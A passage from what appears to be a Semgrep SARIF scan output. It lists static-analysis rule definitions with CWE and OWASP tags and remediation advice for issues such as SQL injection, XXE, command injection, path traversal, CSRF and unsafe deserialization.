terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","id":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","name":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","id":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","name":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-jsp-eval.spring-jsp-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli)\n - [https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql](https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","id":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","name":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","id":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","name":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express)\n - [https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values](https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express","id":"javascript.express.db.mysql-express.mysql-express","name":"javascript.express.db.mysql-express.mysql-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mysql-express.mysql-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format","id":"ruby.rails.security.injection.raw-html-format.raw-html-format","name":"ruby.rails.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"help":{"markdown":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://cwe.mitre.org/data/definitions/310.html](https://cwe.mitre.org/data/definitions/310.html)\n","text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key","id":"python.cryptography.security.empty-aes-key.empty-aes-key","name":"python.cryptography.security.empty-aes-key.empty-aes-key","properties":{"precision":"very-high","tags":["CWE-310: Cryptographic Issues","CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A6:2017 misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.empty-aes-key.empty-aes-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","id":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","name":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","id":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","name":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","id":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","name":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","id":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","name":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint","id":"rust.rocket.sql.postgres-taint.postgres-taint","name":"rust.rocket.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified)\n - [https://laravel.com/docs/9.x/csrf#preventing-csrf-requests](https://laravel.com/docs/9.x/csrf#preventing-csrf-requests)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf)\n","text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","id":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","name":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","id":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","name":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"help":{"markdown":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt)\n - 